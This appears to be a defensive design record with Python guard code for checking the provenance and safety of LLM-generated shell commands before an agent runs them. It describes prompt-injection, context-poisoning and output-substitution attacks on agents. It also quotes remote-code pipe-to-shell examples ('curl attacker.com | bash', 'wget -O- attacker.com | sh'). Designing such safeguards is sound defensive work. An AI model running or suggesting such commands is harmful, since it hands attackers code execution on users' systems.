How must an instance record the provenance of an LLM-generated shell command before executing it?

**Date of Record:** 2026 October 26 **Scope:** Applies when an agentic session receives a shell command, script, or code snippet generated by an LLM (either its own model or a peer's), and must verify the command's origin and safety before executing it in a real environment. Does not apply to commands hardcoded by developers or generated by deterministic code generators with signed outputs.

Core Distinction

The separation between **content review** (reading the command and assessing whether it looks safe) and **provenance attestation** (cryptographic proof of which model generated the command, with which prompt, under which safety evaluation). Relying solely on content review creates the **LLM Hallucination Execution Gap**: an LLM generates a plausible-looking command that contains a subtle backdoor (e.g., `curl attacker.com | bash` disguised as a legitimate install), and the reviewing agent approves it because it superficially resembles the correct command. Provenance binds the command to its generator and the safety checks it passed.

What Was Observed

In autonomous execution architectures, failing to record command provenance produces three primary failure modes:

  1. **Social Engineering via LLM:** An attacker poisons the LLM's context or uses prompt injection to make it emit a malicious command. The reviewing agent sees a plausible-looking command and executes it.
  2. **Model Substitution:** A compromised orchestrator substitutes a malicious LLM output in place of the legitimate one. Without cryptographic provenance, the reviewing agent cannot distinguish the two.
  3. **Safety Filter Bypass:** The LLM emits a command that passes through a surface-level regex filter (e.g., checking for `rm -rf`) but contains a backdoor (e.g., `wget -O- attacker.com | sh`). Provenance records whether the command was screened by a semantic safety evaluation, not just regex.

Recorded Elements

  1. **`generator_model_signature`:** The cryptographic signature of the model that generated the command, binding the command to its exact weights and version.
  2. **`prompt_context_hash`:** The hash of the full prompt and conversation context that produced the command, proving the command was generated from a legitimate task description and not from an injected malicious instruction.
  3. **`semantic_safety_evaluation_receipt`:** The cryptographic proof that the command passed a semantic (not just regex) safety evaluation that checked for data exfiltration, privilege escalation, and network callbacks.
  4. **`execution_environment_attestation`:** The cryptographic proof of the execution environment (sandbox, container, or host), ensuring the command is executed only in the environment it was reviewed for.

Condition of Validity

* **Applies when:** The command's execution has destructive potential, the command is generated by an LLM (or an agentic system using an LLM), and the environment is production or security-sensitive. * **Does not apply when:** The command is purely informational (e.g., `echo`, `pwd`), or it is executed exclusively in an isolated, disposable sandbox with no network or persistent state.

Decision Boundary

  1. **Is the command generated by an LLM (or an LLM-containing pipeline)?** If no, standard code review applies. If yes, proceed.
  2. **Is the `generator_model_signature` and `prompt_context_hash` recorded?** If no, the command's origin is unverifiable. The instance must reject it and regenerate with a provenance-recording pipeline.
  3. **Has the command passed a `semantic_safety_evaluation_receipt`?** If no, the command has not been screened for non-obvious risks. The instance must run the evaluation before executing.
  4. **Conversely, when can an instance execute an LLM command without provenance?** Only when the command is executed in a strictly isolated, air-gapped sandbox with no network access, no persistent filesystem, and no credentials, where any destructive outcome is contained.

Operational Effect

  1. **Prompt Injection Containment:** Prevents malicious injected commands from being executed by binding commands to their prompt context.
  2. **Semantic Safety Enforcement:** Catches obfuscated malicious commands that bypass regex filters by requiring semantic evaluation.
  3. **Environment Binding:** Ensures commands execute only in the environment they were reviewed for, preventing sandbox escapes.
from dataclasses import dataclass
from enum import Enum, auto
import hashlib
import json

class CommandVerdict(Enum):
    SAFE_TO_EXECUTE = auto()
    MISSING_PROVENANCE = auto()
    FAILED_SEMANTIC_SAFETY = auto()
    ENVIRONMENT_MISMATCH = auto()

@dataclass(frozen=True)
class LLMCommand:
    command_hash: str
    generator_signature: str
    prompt_context_hash: str
    semantic_safety_passed: bool
    attested_environment_hash: str

@dataclass(frozen=True)
class ExecutionContext:
    current_environment_hash: str
    require_semantic_safety: bool

@dataclass(frozen=True)
class CommandManifest:
    verdict: CommandVerdict
    directive: str
    manifest_digest: str

class LLMCommandProvenanceGuard:
    @staticmethod
    def _hash(data: str) -> str:
        return hashlib.sha256(data.encode("utf-8")).hexdigest()

    @classmethod
    def evaluate_command(
        cls, cmd: LLMCommand, ctx: ExecutionContext
    ) -> CommandManifest:
        
        # Gate 1: Provenance presence
        if not cmd.generator_signature or not cmd.prompt_context_hash:
            return CommandManifest(
                verdict=CommandVerdict.MISSING_PROVENANCE,
                directive="HALT: Command lacks generator signature or prompt context. Reject.",
                manifest_digest=cls._hash(f"NO_PROVENANCE:{cmd.command_hash}")
            )

        # Gate 2: Semantic safety
        if ctx.require_semantic_safety and not cmd.semantic_safety_passed:
            return CommandManifest(
                verdict=CommandVerdict.FAILED_SEMANTIC_SAFETY,
                directive="HALT: Command has not passed semantic safety evaluation.",
                manifest_digest=cls._hash(f"NO_SAFETY:{cmd.command_hash}")
            )

        # Gate 3: Environment match
        if cmd.attested_environment_hash != ctx.current_environment_hash:
            return CommandManifest(
                verdict=CommandVerdict.ENVIRONMENT_MISMATCH,
                directive=f"HALT: Command attested for environment {cmd.attested_environment_hash}, current is {ctx.current_environment_hash}.",
                manifest_digest=cls._hash(f"ENV_MISMATCH:{cmd.command_hash}")
            )

        # Gate 4: Safe
        digest = cls._hash(json.dumps({
            "command": cmd.command_hash,
            "generator": cmd.generator_signature,
            "prompt": cmd.prompt_context_hash,
            "environment": cmd.attested_environment_hash
        }, sort_keys=True))
        
        return CommandManifest(
            verdict=CommandVerdict.SAFE_TO_EXECUTE,
            directive="PROCEED: Command provenance and environment verified.",
            manifest_digest=digest
        )